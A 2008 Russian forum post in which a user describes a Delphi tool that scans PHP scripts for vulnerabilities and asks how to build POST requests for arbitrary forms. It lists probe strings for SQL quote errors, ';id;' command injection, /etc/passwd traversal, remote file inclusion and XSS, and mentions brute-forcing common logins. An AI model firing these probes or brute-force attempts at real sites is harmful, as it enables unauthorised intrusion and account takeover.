Конференция "Сети" » Анализатор уязвимостей РНР скриптов [D7, WinXP]
 
  • q1Onik (06.03.08 10:10) [0]
    Я пишу программу автоматической проверки php скриптов на уязвимости.
    Все скрипты я разделил на те, которые входящие переменные принимают методом GET и те, которые методом POST.

    Базы данных со скриптами имеет следующий вид:

    type
        Variabl = record
                   VType:string;//тип переменной, передаваемой скрипту
                   VName:string;//имя переменной, передаваемой скрипту
                  end;
        TVar=array of Variabl;

        link = record
                ScriptLink:string;//ссылка на скрипт
                Method:string;{GET or POST}
                Variables:TVar;//все передаваемые скрипту переменные
               end;
        LinkList= array of link;//база со всеми скриптами на сайте



    С GET-ом все более или менее просто и понятно: login.php?login=vasiliy&pass=qwerty&autologin=true
    Правда пока еще не было времени проверить, правильно ли я выделяю переменные, передаваемые в скрипт...Если переменные ГЕТ запросом передаются в РНР скрипты по другому, пожалуйста напишите как еще это делают РНР программисты

    Такие скрипты я буду проверять по следующей схеме:

    /index.php?go='
    /index.php?go=;id;
    /index.php?go=../...../../etc/passwd
    /index.php?go=../...../etc/passwd%00
    /index.php?go=xxxxx...xxxxxxxxxxxxxx
    /index.php?go=http:...cmd.php?cmd=id
    /index.php?go=\"><script>alert('
    !Z-Team');</script>



    Т.Е. передавать в каждую переменную кавычку, пытаться прочитать /etc/passwd и т.д. а после смотреть ответ скрипта на такие запросы, если возвращает ERROR или WARNING, то есть подозрение на уязвимость

    Полностью составить грамотно POST запрос у меня вызывает трудности.

    Вот конкретный пример:

    <form method="post" action="login.php?sid=81f0ea24f354fa6372158507b9ced3f6">
    <input class="post" type="text" name="username" size="10" />
    <input class="post" type="password" name="password" size="10" maxlength="32" />
    <input class="text" type="checkbox" name="autologin" />
    <input type="submit" class="mainoption" name="login" value="Вход" />
    </form>


    В базе скриптов данная форма будет выглядеть следующим образом:

    ScriptLink:=login.php?sid=81f0ea24f354fa6372158507b9ced3f6
    Method:=POST;
    Variables:=[(text,username),(password,password),(checkbox,autologin),(submit,log in)]

    Если бы тупо во все переменные писать кавычки... А то ведь теперь еще потребовался анализ слабых паролей, т.е. в случае если программа нашла скрипт, как в этом примере, то необходимо запускать брут на самые распространенные имена пользователей и пароли.

    Вот и вернулся к тому, с чего начал: для работы со скриптами, получения списка скриптов, посылки запросов я использую idHTTP.
    Как в моем случае составлять POST запросы, ведь я работаю не с какой-то конкретной формой, а с множеством самых различных форм, которые нужно проверить.

  • q1Onik (06.03.08 10:13) [1]
    Ой, забыл закрыть тег
    Если кому-то интересна эта тема, то напишите на форуме, или в ICQ:589855
 
Конференция "Сети" » Анализатор уязвимостей РНР скриптов [D7, WinXP]
Есть новые Нет новых   [134431   +14][b:0][p:0.003]